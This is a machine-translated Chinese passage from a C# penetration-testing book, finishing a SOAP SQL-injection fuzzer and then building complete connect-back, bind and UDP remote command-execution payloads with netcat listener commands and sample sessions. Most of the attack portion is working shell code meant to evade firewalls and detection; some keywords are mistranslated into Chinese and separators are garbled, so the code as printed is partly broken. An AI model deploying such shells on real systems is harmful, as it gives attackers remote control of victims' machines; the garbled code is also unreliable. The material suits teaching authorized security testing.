现在我们可以使用 foreach 循环遍历每一个 HTTP 参数,并构建我们将在 POST 请求体中发送的参数字符串。在遍历时,首先检查参数类型是否以字符串 ➊ 结尾。如果是,我们为参数值创建一个字符串。为了跟踪我们使用的字符串值,并确保每个值都是唯一的,我们创建一个新的 Guid 并将其作为参数的值。通过三元操作符 ➋,我们判断是否应该在参数前面加上一个 "&" 符号。然后我们将 Guid 存储到 Guid 列表中。一旦我们将参数和值追加到 POST 参数字符串中,我们检查布尔值,如果它为 true,则将其设置为 false ➌,以便后续的 POST 参数将用 "&" 符号分隔。
接下来,我们需要将 POST 参数发送到服务器,然后读取响应并检查是否有错误,如 Listing 3-29 所示。
int k = 0;
foreach (Guid guid in guids)
{
string testParams = postParams.➊Replace(guid.ToString(), "fd'sa");
byte[] data = System.Text.Encoding.ASCII.GetBytes(testParams);
HttpWebRequest req = ➋(HttpWebRequest) WebRequest.Create(url);
req.Method = "POST";
req.ContentType = "application/x-www-form-urlencoded";
req.ContentLength = data.Length;
req.GetRequestStream().➌Write(data, 0, data.Length);
string resp = string.Empty;
尝试
{
使用(StreamReader rdr = new StreamReader(req.GetResponse().GetResponseStream()))
resp = rdr.➍ReadToEnd();
} catch (WebException ex)
{
使用(StreamReader rdr = new StreamReader(ex.Response.GetResponseStream()))
resp = rdr.ReadToEnd();
if (resp.➎Contains("syntax error"))
Console.WriteLine("参数中可能存在 SQL 注入漏洞:" + input.Parts[k].Name);
}
k++;
}
}
列表 3-29:将 POST 参数发送到 SOAP 服务并检查服务器错误
开始时,我们声明一个名为 k 的整数变量,k 会在整个模糊测试中递增并用来跟踪潜在的易受攻击参数,我们将 k 的初始值设置为 0。然后,我们使用 foreach 循环遍历 Guid 列表。在遍历过程中,我们首先做的是通过使用 Replace()方法➊将当前的 Guid 替换为一个带有恶意值的新 POST 参数字符串。由于每个 Guid 都是唯一的,当我们替换 Guid 时,只会更改单个参数的值。这让我们能够精确确定哪个参数可能存在漏洞。接下来,我们发送 POST 请求并读取响应。
一旦我们获得了要发送到 SOAP 服务的新 POST 参数字符串,我们通过 GetBytes()方法将该字符串转换为字节数组,然后将字节数组写入 HTTP 流中。接着,我们构建 HttpWebRequest➋以将字节发送到服务器,并将 HttpWebRequest 的 Method 属性设置为“POST”,ContentType 属性设置为 application/x-www-form-urlencoded,ContentLength 属性设置为字节数组的大小。一旦构建完成,我们通过将字节数组、数组开始写入的索引(0)以及要写入的字节数传递给 Write()方法➌,将字节数组写入请求流中。
在将 POST 参数写入请求流之后,我们需要读取服务器的响应。在声明一个空字符串用于保存 HTTP 响应后,我们使用 try/catch 块来捕获从 HTTP 响应流读取时抛出的任何异常。在 using 语句的上下文中创建一个 StreamReader,我们尝试使用 ReadToEnd()方法➍读取整个响应并将响应赋值给空字符串。如果服务器响应的 HTTP 状态码为 50x(表示服务器端发生错误),我们捕获该异常,尝试再次读取响应,并将响应字符串重新赋值为空字符串以更新它。如果响应中包含语法错误➎这一短语,我们会打印一条消息,提醒用户当前的 HTTP 参数可能存在 SQL 注入漏洞。为了确定哪个参数存在漏洞,我们使用整数 k 作为参数列表的索引来获取当前参数的名称。最后,我们将 k 整数增加 1,以便在下一个迭代中引用下一个参数,然后我们开始为下一个 POST 参数重新执行这个过程。
这完成了 FuzzHttpGetPort() 和 FuzzHttpPostPort() 方法的实现。接下来,我们将编写 FuzzSoapPort() 方法来模糊测试 SOAP XML 端口。
模糊测试 SOAP XML 端口
为了模糊测试 SOAP XML 端口,我们需要动态构建 XML 以发送到服务器,这比构建 HTTP 参数以在 GET 或 POST 请求中发送要稍微复杂一些。不过,刚开始时,FuzzSoapPort() 方法与 FuzzHttpGetPort() 和 FuzzHttpPostPort() 方法类似,如 Listing 3-30 所示。
static void FuzzSoapPort(SoapBinding binding)
{
SoapPortType portType = _wsdl.PortTypes.Single(pt => pt.Name == binding.Type.Split('😂[1]);
foreach (SoapBindingOperation op in binding.Operations)
{
Console.➊WriteLine("正在模糊测试操作:" + op.Name);
SoapOperation po = portType.Operations.Single(p => p.Name == op.Name);
SoapMessage input = _wsdl.Messages.Single(m => m.Name == po.Input.Split('😂[1]); Listing 3-30: 收集初步信息以构建动态 SOAP XML
与 GET 和 POST 模糊测试方法一样,我们需要在开始之前收集一些关于我们要模糊测试的目标的信息。我们首先使用 LINQ 从 _wsdl.PortTypes 属性中获取对应的 SoapPortType;然后我们通过 foreach 循环迭代每个操作。迭代时,我们将当前正在模糊测试的操作打印到控制台 ➊。为了向服务器发送正确的 XML,我们需要选择与传递给方法的 SoapBinding 类相对应的 SoapOperation 和 SoapMessage 类。通过 SoapOperation 和 SoapMessage,我们可以动态构建所需的 XML。为此,我们使用 LINQ to XML,它是 System.Xml.Linq 命名空间中的一组内置类,允许你创建简单的动态 XML,如 Listing 3-31 所示。
XNamespace soapNS = "http://schemas.xmlsoap.org/soap/envelope/";
XNamespace xmlNS = op.➊SoapAction.Replace(op.Name, string.Empty);
XElement soapBody = new XElement(soapNS + "Body");
XElement soapOperation = new ➋XElement(xmlNS + op.Name);
soapBody.Add(soapOperation);
List
paramList = new List (); SoapType type = _wsdl.Types.➌Single(t => t.Name == input.Parts[0].Element.Split('😂[1]);
foreach (SoapTypeParameter param in type.Parameters)
{
XElement soapParam = new ➍XElement(xmlNS + param.Name);
if (param.Type.EndsWith("string"))
{
Guid guid = Guid.NewGuid();
paramList.Add(guid);
soapParam.➎SetValue(guid.ToString());
}
soapOperation.Add(soapParam);
}
Listing 3-31: 使用 LINQ to XML 在 SOAP 模糊测试器中构建动态 SOAP XML
我们首先创建两个 XNameSpace 实例,用于构建 XML。第一个 XNameSpace 是默认的 SOAP 命名空间,而第二个 XNameSpace 会根据当前操作的 SoapAction 属性 ➊ 进行更改。在定义命名空间后,我们使用 XElement 类创建两个新的 XML 元素。第一个 XElement(将命名为 )是一个标准的 XML 元素,用于在 SOAP 中封装当前 SOAP 操作的数据。第二个 XElement 将以当前操作命名 ➋。这两个 XElement 实例分别使用默认 SOAP 命名空间和 SOAP 操作命名空间。然后,我们使用 XElement Add() 方法将第二个 XElement 添加到第一个 XElement 中,以便 SOAP XML 元素将包含 SOAP 操作元素。
在创建了外部 XML 元素后,我们创建一个 Guid 列表来存储我们生成的值,并且我们还使用 LINQ ➌ 选择当前的 SoapType,以便可以遍历 SOAP 调用所需的参数。在遍历时,我们首先为当前参数 ➍ 创建一个新的 XElement。如果参数类型是字符串,我们通过 SetValue() ➎ 为 XElement 分配一个 Guid 作为值,并将该 Guid 存储在我们创建的 Guid 列表中,供后续参考。然后,我们将 XElement 添加到 SOAP 操作元素中,并继续处理下一个参数。
一旦我们完成了将参数添加到 SOAP 操作 XML 节点中,就需要将整个 XML 文档组合起来,如 Listing 3-32 所示。
XDocument soapDoc = new XDocument(new XDeclaration("1.0", "ascii", "true"),
new ➊XElement(soapNS + "Envelope",
new XAttribute(XNamespace.Xmlns + "soap", soapNS),
new XAttribute("xmlns", xmlNS),
➋soapBody)); Listing 3-32: 组合整个 SOAP XML 文档
我们需要创建一个 XDocument,并添加一个名为 SOAP Envelope ➊ 的 XElement。通过将一个新的 XElement 传递给 XDocument 构造函数,我们创建了一个新的 XDocument。该 XElement 又是通过定义节点的 XML 命名空间的几个属性以及包含我们用参数构建的 SOAP body ➋ 来创建的。
现在 XML 已经构建完成,我们可以将 XML 发送到 Web 服务器,并尝试引发 SQL 错误,如 Listing 3-33 所示。继续将这段代码添加到 FuzzSoapPort() 方法中。
int k = 0;
foreach (Guid parm in paramList)
{
string testSoap = soapDoc.ToString().➊Replace(parm.ToString(), "fd'sa");
byte[] data = System.Text.Encoding.ASCII.GetBytes(testSoap);
HttpWebRequest req = (HttpWebRequest) WebRequest.Create(_endpoint);
req.Headers["SOAPAction"] = ➋op.SoapAction;
req.Method = "POST";
req.ContentType = "text/xml";
req.ContentLength = data.Length;
using (Stream stream = req.GetRequestStream())
stream.➌Write(data, 0, data.Length); Listing 3-33: 创建 HttpWebRequest 以将 SOAP XML 发送到 SOAP 端点
与本章前面介绍的模糊测试器类似,我们遍历在构建 SOAP 操作的 XML 时创建的值列表中的每个 Guid。遍历过程中,我们将当前 Guid 替换为一个值,如果该值在 SQL 查询中使用不当,则应引发 SQL 错误➊。替换 Guid 为被污染的值后,我们使用 GetBytes()方法将结果字符串转换为字节数组,并将其写入 HTTP 流作为 POST 数据。
然后我们构建 HttpWebRequest,用于发起 HTTP 请求并读取结果。需要注意的一个特殊部分是 SOAPAction 头➋。此 SOAPAction HTTP 头将由 SOAP 端点使用,以确定对数据执行的操作,如列出或删除用户。我们还将 HTTP 方法设置为 POST,内容类型设置为 text/xml,内容长度设置为我们创建的字节数组的长度。最后,我们将数据写入 HTTP 流➌。现在我们需要读取来自服务器的响应,并确定我们发送的数据是否引发了 SQL 错误,如清单 3-34 所示。
string resp = string.Empty;
try
{
using (StreamReader rdr = new StreamReader(req.GetResponse().GetResponseStream()))
resp = rdr.➊ReadToEnd();
}
catch (WebException ex)
{
using (StreamReader rdr = new StreamReader(ex.Response.GetResponseStream()))
resp = rdr.ReadToEnd();
if (resp.➋Contains("syntax error"))
Console.WriteLine("参数中可能存在 SQL 注入向量:");
Console.Write(type.Parameters[k].Name);
}
k++;
}
}
}
清单 3-34:在 SOAP 模糊测试器中读取 HTTP 流并查找错误
清单 3-34 使用了与清单 3-26 和清单 3-29 中的模糊测试器几乎相同的代码来检查 SQL 错误,但在这种情况下,我们以不同的方式处理检测到的错误。首先,我们声明一个字符串来保存 HTTP 响应并开始一个 try/catch 块。然后,在 using 语句的上下文中,我们使用 StreamReader 尝试读取 HTTP 响应的内容,并将响应存储在字符串中➊。如果由于 HTTP 服务器返回 50x 错误而引发异常,我们将捕获该异常并尝试再次读取响应。如果抛出异常且响应数据包含“syntax error”短语➋,我们打印一条消息提醒用户可能存在 SQL 注入以及潜在的易受攻击的参数名。最后,我们递增 k 并继续处理下一个参数。
运行模糊测试器
现在我们可以针对易受攻击的 SOAP 服务设备 CsharpVulnSoap 运行模糊测试器。该模糊测试器接受一个参数:易受攻击的 SOAP 端点的 URL。在本例中,我们将使用192.168.1.15/Vulnerable.asmx。将 URL 作为第一个参数传递并运行模糊测试器,应该会得到与清单 3-35 类似的输出。
$ mono ch3_soap_fuzzer.exe http://192.168.1.15/Vulnerable.asmx
获取服务的 WSDL:http://192.168.1.15/Vulnerable.asmx
获取并加载了 Web 服务描述。
模糊测试服务:VulnerableService
模糊测试 SOAP 端口:➊VulnerableServiceSoap
模糊测试操作:AddUser
用户名参数中的可能 SQL 注入向量
密码参数中的可能 SQL 注入向量
--省略--
模糊测试 HTTP 端口:➋VulnerableServiceHttpGet
模糊测试操作:AddUser
完整的模糊测试 URL:http://192.168.1.15/Vulnerable.asmx/AddUser?username=a7ee0684-
fd54-41b4-b644-20b3dd8be97a&password=85303f3d-1a68-4469-bc69-478504166314
用户名参数中的可能 SQL 注入向量
密码参数中的可能 SQL 注入向量
模糊测试操作:ListUsers
完整的模糊测试 URL:http://192.168.1.15/Vulnerable.asmx/ListUsers
--省略--
模糊测试 HTTP 端口:➌VulnerableServiceHttpPost
模糊测试操作:AddUser
用户名参数中的可能 SQL 注入向量
密码参数中的可能 SQL 注入向量
模糊测试操作:ListUsers
模糊测试操作:GetUser
用户名参数中的可能 SQL 注入向量
模糊测试操作:DeleteUser
用户名参数中的可能 SQL 注入向量 第 3-35 列表:针对 CsharpVulnSoap 应用程序运行的 SOAP 模糊测试器部分输出
从输出中,我们可以看到模糊测试的各个阶段。从 VulnerableServiceSoap 端口➊开始,我们发现 AddUser 操作在传递给操作的用户名和密码字段中可能存在 SQL 注入漏洞。接下来是 VulnerableServiceHttpGet 端口➋。我们对相同的 AddUser 操作进行模糊测试,并打印出我们构建的 URL,可以将其粘贴到 Web 浏览器中,查看成功调用后的响应。再次发现,用户名和密码参数可能容易受到 SQL 注入攻击。最后,我们对 VulnerableServiceHttpPost SOAP 端口➌进行模糊测试,首先对 AddUser 操作进行模糊测试,结果与前面几个端口相同。ListUsers 操作未发现潜在的 SQL 注入漏洞,这也可以理解,因为它本身没有参数。GetUser 和 DeleteUser 操作的用户名参数可能存在 SQL 注入漏洞。
结论
本章中,你了解了核心库中可用的 XML 类。我们使用这些 XML 类实现了一个完整的 SOAP 服务 SQL 注入模糊测试器,并介绍了与 SOAP 服务交互的一些方法。
第一个也是最简单的方法是通过 HTTP GET 请求,我们根据 WSDL 文档描述的 SOAP 服务构建了带有动态查询字符串参数的 URL。实现这一方法后,我们构建了一种方法来对 SOAP 服务进行 POST 请求的模糊测试。最后,我们编写了一个方法,使用 C#中的 LINQ to XML 库动态生成用于模糊测试服务器的 SOAP XML。
C#中强大的 XML 类使得处理和使用 XML 变得轻松自如。由于许多企业技术依赖 XML 进行跨平台通信、序列化或存储,理解如何高效地读取和创建 XML 文档非常有用,特别是对于安全工程师或渗透测试员。
第四章
4
编写连接回传、绑定和 Metasploit 有效载荷

作为渗透测试人员或安全工程师,能够即时编写和定制有效载荷是非常有用的。企业环境之间往往差异很大,而像 Metasploit 这样的框架提供的“现成”有效载荷通常会被入侵检测/防御系统、网络访问控制或网络的其他变量阻止。然而,企业网络中的 Windows 机器几乎总是安装了.NET 框架,这使得 C#成为编写有效载荷的绝佳语言。C#提供的核心库也具有出色的网络类,可以让你在任何环境中迅速开始工作。
最优秀的渗透测试人员知道如何构建定制化的有效载荷,针对特定的环境量身打造,以便能够在不被察觉的情况下维持较长时间的隐匿、保持持久性,或者绕过入侵检测系统或防火墙。本章将向你展示如何编写用于 TCP(传输控制协议)和 UDP(用户数据报协议)的多种有效载荷。我们将创建一个跨平台的 UDP 连接回传有效载荷,以绕过较弱的防火墙规则,并讨论如何运行任意的 Metasploit 汇编有效载荷以帮助避开杀毒软件的检测。
创建连接回传有效载荷
我们将编写的第一种有效载荷是连接回传,这允许攻击者监听目标设备的回传连接。如果你无法直接访问运行有效载荷的机器,这种类型的有效载荷非常有用。例如,如果你在外部网络执行带有 Metasploit Pro 的钓鱼活动,这种有效载荷允许目标设备通过外部网络与你建立连接。另一种方式,我们稍后会讨论,是让有效载荷在目标机器上监听来自攻击者的连接。像这样的绑定有效载荷在你能够获得网络访问权限时,最有助于维持持久性。
网络流
我们将使用大多数 Unix 类操作系统上可用的 netcat 工具来测试我们的绑定和连接回传有效载荷。大多数 Unix 操作系统都预装了 netcat,但如果你想在 Windows 上使用它,则必须通过 Cygwin 或独立的二进制文件下载该工具(或从源代码构建!)。首先,设置 netcat 来监听从我们的目标设备发出的连接回传,如示例 4-1 所示。
$ nc -l 4444
示例 4-1: 使用 netcat 在端口 4444 上监听
我们的连接回传有效载荷需要创建一个网络流来进行读写。如示例 4-2 所示,有效载荷的 Main()方法的前几行创建了这个网络流,并在后续使用时根据传递给有效载荷的参数来设置。
public static void Main(string[] args)
{
使用 (TcpClient client = new ➊TcpClient(args[0], ➋int.Parse(args[1])))
{
使用 (Stream stream = client.➌GetStream())
{
使用 (StreamReader rdr = new ➍StreamReader(stream))
{
清单 4-2:使用有效载荷参数创建回攻攻击者的流
TcpClient 类构造函数接受两个参数:要连接的主机的字符串和要连接的端口号的 int 类型。使用传递给有效载荷的参数,假设第一个参数是要连接的主机,我们将这些参数传递给 TcpClient 构造函数 ➊。由于默认情况下这些参数是字符串,我们不需要将主机强制转换为任何特殊类型,只需要转换端口。
第二个参数,指定要连接的端口,必须以 int 类型提供。为了实现这一点,我们使用 int.Parse() 静态方法 ➋ 将第二个参数从字符串转换为 int。(C# 中许多类型都有静态 Parse() 方法,将一种类型转换为另一种类型。)在实例化 TcpClient 后,我们调用客户端的 GetStream() 方法 ➌ 并将其赋值给变量 stream,供我们读取和写入。最后,我们将流传递给 StreamReader 类构造函数 ➍,以便可以轻松读取来自攻击者的命令。
接下来,我们需要让有效载荷从流中读取数据,只要我们从 netcat 监听器发送命令。为此,我们将使用在清单 4-2 中创建的流,如清单 4-3 所示。
while (true)
{
string cmd = rdr.➊ReadLine();
if (string.IsNullOrEmpty(cmd))
{
rdr.➋Close();
stream.Close();
client.Close();
return;
}
if (string.➌IsNullOrWhiteSpace(cmd))
continue;
string[] split = cmd.Trim().➍Split(' ');
string filename = split.➎First();
string arg = string.➏Join(" ", split.➐Skip(1)); 清单 4-3:从流中读取命令并解析命令及其参数
在一个无限的 while 循环中,StreamReader 的 ReadLine() 方法 ➊ 从流中读取一行数据,然后将其赋值给 cmd 变量。我们根据数据流中出现换行符的位置(\n,或十六进制表示为 0x0a)来判断一行数据的结束。如果 ReadLine() 返回的字符串为空或为 null,我们关闭 ➋ 流读取器、流和客户端,然后从程序中返回。如果字符串仅包含空白字符 ➌,我们通过使用 continue 重新开始循环,这将使我们回到 ReadLine() 方法,从头开始。
在从网络流中读取到要执行的命令后,我们将命令本身与命令的参数分开。例如,如果攻击者发送命令 ls -a,命令是 ls,命令的参数是 -a。
为了分离出参数,我们使用 Split() 方法 ➍ 将完整命令按每个空格分割成字符串,然后返回一个字符串数组。字符串数组是通过将整个命令字符串按照传递给 Split() 方法的分隔符(在我们这里是空格)进行分割得到的结果。接着,我们使用 First() 方法 ➎,该方法可用于如数组等可枚举类型,它从 Split 返回的字符串数组中选择第一个元素,并将其赋值给字符串变量 filename,用于保存基本命令。这应该是实际的命令名称。然后,Join() 方法 ➏ 会将分割数组中的所有元素(除了第一个)通过空格连接成一个字符串。我们还使用 LINQ 的 Skip() 方法 ➐ 来跳过存储在 filename 变量中的数组中的第一个元素。最终的字符串应该包含传递给命令的所有参数。这个新的字符串被赋值给字符串变量 arg。
运行命令
现在我们需要运行命令并将输出返回给攻击者。如示例 4-4 所示,我们使用 Process 和 ProcessStartInfo 类来设置并运行命令,然后将输出写回给攻击者。
try
{
Process prc = new ➊Process();
prc.➋StartInfo = new ProcessStartInfo();
prc.StartInfo.➌FileName = filename;
prc.StartInfo.➍Arguments = arg;
prc.StartInfo.➎UseShellExecute = false;
prc.StartInfo.➏RedirectStandardOutput = true;
prc.➐Start();
prc.StandardOutput.BaseStream.➑CopyTo(stream);
prc.WaitForExit();
}
catch
{
string error = "执行命令时出错 " + cmd + "\n";
byte[] errorBytes = ➒Encoding.ASCII.GetBytes(error);
stream.➓Write(errorBytes, 0, errorBytes.Length);
}
}
}
}
}
}
示例 4-4: 运行攻击者提供的命令并返回连接回负载的输出
在实例化一个新的 Process 类 ➊ 后,我们将一个新的 ProcessStartInfo 类分配给 Process 类的 StartInfo 属性 ➋,这使我们可以为命令定义某些选项,从而获取输出。在将 StartInfo 属性赋值为一个新的 ProcessStartInfo 类后,我们再为 StartInfo 属性中的各个属性赋值:FileName 属性 ➌,即我们要运行的命令,以及 Arguments 属性 ➍,它包含命令的任何参数。
我们还将 UseShellExecute 属性 ➎ 设置为 false,将 RedirectStandardOutput 属性 ➏ 设置为 true。如果 UseShellExecute 设置为 true,命令将会在另一个系统 shell 中运行,而不是由当前可执行文件直接运行。通过将 RedirectStandardOutput 设置为 true,我们可以使用 Process 类的 StandardOutput 属性来读取命令的输出。
一旦设置了 StartInfo 属性,我们调用 Process 上的 Start() ➐开始执行命令。进程运行时,我们将其标准输出直接复制到网络流中,使用 CopyTo() ➑将数据发送给攻击者。如果在执行过程中发生错误,Encoding.ASCII.GetBytes() ➒将字符串“Error running command
运行有效载荷
使用 127.0.0.1 和 4444 作为参数运行有效载荷应该会连接回我们的 netcat 监听器,这样我们就可以在本地机器上运行命令,并在终端显示出来,如清单 4-5 所示。
$ nc -l 4444
whoami
bperry
uname
Linux 清单 4-5:反向连接有效载荷连接到本地监听器并运行命令
绑定有效载荷
当您处于可以直接访问可能运行有效载荷的机器的网络中时,有时您希望有效载荷等待您连接到它们,而不是您等待它们的连接。
在这种情况下,有效载荷应该本地绑定到一个端口,您可以简单地使用 netcat 连接到该端口,以便开始与系统的 Shell 进行交互。
在反向连接有效载荷中,我们使用 TcpClient 类创建与攻击者的连接。这里,我们将使用 TcpListener 类代替 TcpClient 类,来监听来自攻击者的连接,如清单 4-6 所示。
public static void Main(string[] args)
{
int port = ➊int.Parse(args[0]);
TcpListener listener = new ➋TcpListener(IPAddress.Any, port);
尝试
{
listener.➌Start();
}
捕获
{
返回;
}
清单 4-6:通过命令参数在给定端口上启动 TcpListener
在开始监听之前,我们使用 int.Parse() ➊将传递给有效载荷的参数转换为整数,这将是监听的端口。然后我们通过将 IPAddress.Any 作为第一个参数传递给构造函数,并将我们希望监听的端口作为第二个参数,来实例化一个新的 TcpListener 类 ➋。传递给第一个参数的 IPAddress.Any 值告诉 TcpListener 监听任何可用的接口(0.0.0.0)。
接下来,我们尝试在 try/catch 块中开始监听端口。我们这样做是因为调用 Start() ➌可能会抛出异常,例如,如果有效载荷不是以特权用户身份运行,并且它试图绑定到一个小于 1024 的端口号,或者它试图绑定到另一个程序已经绑定的端口。通过在 try/catch 块中运行 Start(),我们可以捕获此异常并在必要时优雅地退出。当然,如果 Start()成功,载荷将开始在该端口上监听新连接。
接受数据、运行命令并返回输出
现在我们可以开始接受来自攻击者的数据并解析命令,如清单 4-7 所示。
➊while (true)
{
使用 (Socket socket = ➋listener.AcceptSocket())
{
使用 (NetworkStream stream = new ➌NetworkStream(socket))
{
使用 (StreamReader rdr = new ➍StreamReader(stream))
{
➎while (true)
{
string cmd = rdr.ReadLine();
如果 (string.IsNullOrEmpty(cmd))
{
rdr.Close();
stream.Close();
listener.Stop();
break;
}
如果 (string.IsNullOrWhiteSpace(cmd))
continue;
string[] split = cmd.Trim().➏Split(' ');
string filename = split.➐First();
string arg = string.➑Join(" ", split.Skip(1)); Listing 4-7: 从网络流读取命令并将命令与参数分开
为了在我们与负载断开连接后在目标上保持持久性,我们在技术上是无限的 while 循环 ➊ 内实例化一个新的 NetworkStream 类,方法是将 listener.AcceptSocket() 返回的 Socket ➋ 传递给 NetworkStream 构造函数 ➌。然后,为了高效地读取 NetworkStream,在 using 语句的上下文中,我们实例化一个新的 StreamReader 类 ➍,并将网络流传递给 StreamReader 构造函数。一旦我们设置好 StreamReader,就使用第二个无限 while 循环 ➎ 来继续读取命令,直到攻击者发送空行给负载为止。
为了解析并执行来自流的命令并将输出返回给连接的攻击者,我们在内部 while 循环中声明一系列字符串变量,并在字符串中按空格拆分原始输入 ➏。接下来,我们从拆分结果中取出第一个元素,并将其作为要运行的命令,使用 LINQ 选择数组中的第一个元素 ➐。然后,我们再次使用 LINQ 将拆分数组中的所有字符串(从第一个元素开始)连接起来 ➑,并将生成的字符串(以空格分隔的参数)赋值给 arg 变量。
从流中执行命令
现在我们可以设置我们的 Process 和 ProcessStartInfo 类来运行命令及其参数(如果有的话),并捕获输出,如 Listing 4-8 所示。
尝试
{
Process prc = new ➊Process();
prc.StartInfo = new ProcessStartInfo();
prc.StartInfo.➋FileName = filename;
prc.StartInfo.➌Arguments = arg;
prc.StartInfo.UseShellExecute = false;
prc.StartInfo.RedirectStandardOutput = true;
prc.➍Start();
prc.StandardOutput.BaseStream.➎CopyTo(stream);
prc.WaitForExit();
}
catch
{
string error = "运行命令时出错 " + cmd + "\n";
byte[] errorBytes = ➏Encoding.ASCII.GetBytes(error);
stream.➐Write(errorBytes, 0, errorBytes.Length);
}
}
}
}
}
}
}
}
}
Listing 4-8: 运行命令,捕获输出,并将其发送回攻击者
与上一节讨论的反向连接有效负载一样,为了运行命令,我们实例化一个新的 Process 类 ➊,并将一个新的 ProcessStartInfo 类赋值给 Process 类的 StartInfo 属性。我们将命令文件名设置为 StartInfo 中的 FileName 属性 ➋,并将命令参数设置为 Arguments 属性 ➌。然后,我们将 UseShellExecute 属性设置为 false,以便我们的可执行文件直接启动命令,并将 RedirectStandardOutput 属性设置为 true,以便我们捕获命令输出并将其返回给攻击者。
要启动命令,我们调用 Process 类的 Start() 方法 ➍。在进程运行时,我们将标准输出流直接复制到网络流中,通过将其作为参数传递给 CopyTo() ➎,然后等待进程退出。如果发生错误,我们将字符串“Error running command Encoding.ASCII.GetBytes() ➏。然后,字节数组写入网络流,并通过流的 Write() 方法 ➐ 发送给攻击者。
使用 4444 作为参数运行有效负载将使监听器开始在所有可用接口的端口 4444 上监听。现在,我们可以使用 netcat 连接到监听端口,如 列表 4-9 所示,并开始执行命令并返回其输出。
$ nc 127.0.0.1 4444
whoami
bperry
uname
Linux 列表 4-9:连接到绑定有效负载并执行命令
使用 UDP 攻击网络
到目前为止讨论的有效负载使用 TCP 进行通信;TCP 是一种有状态协议,允许两台计算机在一段时间内保持连接。另一种协议是 UDP,它与 TCP 不同,是无状态的:在通信时,两个网络计算机之间不保持连接。相反,通信通过广播进行,每台计算机监听其 IP 地址的广播。
UDP 和 TCP 之间的另一个非常重要的区别是,TCP 尝试确保发送到计算机的数据包将按发送顺序到达该计算机。相比之下,UDP 数据包可能会以任何顺序接收,甚至可能根本不接收,这使得 UDP 比 TCP 更不可靠。
然而,UDP 确实有一些优点。首先,由于它不尝试确保计算机接收它发送的数据包,因此它非常快速。它在网络上的监控也不如 TCP 常见,某些防火墙仅配置处理 TCP 流量。这使得 UDP 成为攻击网络时的理想协议,因此让我们看看如何编写一个 UDP 有效负载,在远程计算机上执行命令并返回结果。
不像以前的有效载荷那样使用 TcpClient 或 TcpListener 类来实现连接和通信,我们将使用 UdpClient 和 Socket 类通过 UDP 通信。攻击者和目标机器都需要监听 UDP 广播,并保持一个套接字以将数据广播到另一台计算机。
目标机器的代码
目标机器上运行的代码将监听 UDP 端口接收命令,执行这些命令,并通过 UDP 套接字将输出返回给攻击者,如列表 4-10 所示。
public static void Main(string[] args)
{
int lport = int.➊Parse(args[0]);
using (UdpClient listener = new ➋UdpClient(lport))
{
IPEndPoint localEP = new ➌IPEndPoint(IPAddress.Any, lport);
string cmd;
byte[] input; 列表 4-10:目标代码中 Main()方法的前五行
在发送和接收数据之前,我们设置了一个变量用于监听的端口。(为了简化起见,我们让目标和攻击者机器在同一端口上监听数据,但这假设我们在攻击一台独立的虚拟机)。如列表 4-10 所示,我们使用 Parse() ➊将传入的字符串参数转换为整数,然后将端口传递给 UdpClient 构造函数 ➋来实例化一个新的 UdpClient。我们还设置了 IPEndPoint 类 ➌,它包含一个网络接口和一个端口,传入 IPAddress.Any 作为第一个参数,监听的端口作为第二个参数。我们将新对象赋值给 localEP(本地端点)变量。现在我们可以开始接收来自网络广播的数据。
主 while 循环
如列表 4-11 所示,我们从一个 while 循环开始,该循环会持续运行,直到从攻击者接收到一个空字符串。
while (true)
{
input = listener.➊Receive(ref localEP);
cmd = ➋Encoding.ASCII.GetString(input, 0, input.Length);
if (string.IsNullOrEmpty(cmd))
{
listener.Close();
return;
}
if (string.IsNullOrWhiteSpace(cmd))
continue;
string[] split = cmd.Trim().➌Split(' ');
string filename = split.➍First();
string arg = string.➎Join(" ", split.Skip(1));
string results = string.Empty; 列表 4-11:监听 UDP 广播并从参数中解析命令
在这个 while 循环中,我们调用 listener.Receive(),传入我们实例化的 IPEndPoint 类。接收到来自攻击者的数据后,Receive() ➊会将 localEP 的 Address 属性填充为攻击主机的 IP 地址和其他连接信息,以便我们稍后在响应时使用这些数据。Receive()还会阻塞有效载荷的执行,直到接收到一个 UDP 广播。
一旦收到广播,Encoding.ASCII.GetString() ➋ 将数据转换为 ASCII 字符串。如果字符串为 null 或为空,我们将跳出 while 循环,让有效载荷进程完成并退出。如果字符串仅包含空格,我们将使用 continue 重新启动循环,等待接收来自攻击者的新命令。确保命令不是空字符串或仅包含空格后,我们会按照空格 ➌ 将命令分割(与 TCP 有效载荷中相同),然后从分割后的字符串数组中提取命令 ➍。接着我们通过连接分割数组中的所有元素(除了第一个元素)来创建参数字符串 ➎。
执行命令并返回结果给发送者
现在,我们可以执行命令并通过 UDP 广播将结果返回给发送者,如 示例 4-12 所示。
try
{
Process prc = new Process();
prc.StartInfo = new ProcessStartInfo();
prc.StartInfo.FileName = filename;
prc.StartInfo.Arguments = arg;
prc.StartInfo.UseShellExecute = false;
prc.StartInfo.RedirectStandardOutput = true;
prc.Start();
prc.WaitForExit();
results = prc.StandardOutput.➊ReadToEnd();
}
catch
{
results = "运行命令时出错:" + filename;
}
使用 (Socket sock = new ➋Socket(AddressFamily.InterNetwork,
SocketType.Dgram, ProtocolType.Udp))
{
IPAddress sender = ➌localEP.Address;
IPEndPoint remoteEP = new ➍IPEndPoint(sender, lport);
byte[] resultsBytes = Encoding.ASCII.GetBytes(results);
sock.➎SendTo(resultsBytes, remoteEP);
}
}
}
}
}
}
示例 4-12:执行收到的命令并将输出广播回攻击者
与之前的有效载荷类似,我们使用 Process 和 ProcessStartInfo 类来执行命令并返回输出。我们使用 filename 和 arg 变量分别存储命令和命令参数,并将它们设置到 StartInfo 属性中,同时还设置 UseShellExecute 属性和 RedirectStandardOutput 属性。通过调用 Start() 方法启动新进程,然后调用 WaitForExit() 方法等待进程执行完毕。一旦命令执行完毕,我们通过读取进程的 StandardOutput 流属性的 ReadToEnd() 方法 ➊ 来获取输出,并将其保存到之前声明的 results 字符串中。如果在进程执行过程中发生错误,我们会将字符串 "运行命令时出错:
现在我们需要设置一个用于将命令输出返回给发送者的套接字。我们将使用 UDP 套接字广播数据。通过使用 Socket 类,我们通过将枚举值作为参数传递给 Socket 构造函数来实例化一个新的 Socket ➋。第一个值 AddressFamily.InterNetwork 表示我们将使用 IPv4 地址进行通信。第二个值 SocketType.Dgram 表示我们将使用 UDP 数据报(UDP 中的 D)而不是 TCP 包进行通信。第三个值 ProtocolType.Udp 告诉套接字我们将使用 UDP 与远程主机进行通信。
在创建用于通信的套接字后,我们通过获取 localEP.Address 属性 ➌ 的值来分配一个新的 IPAddress 变量,该值在接收到 UDP 监听器上的数据时会被填充为攻击者的 IP 地址。我们使用攻击者的 IP 地址和作为有效负载参数传递的监听端口,创建一个新的 IPEndPoint ➍。
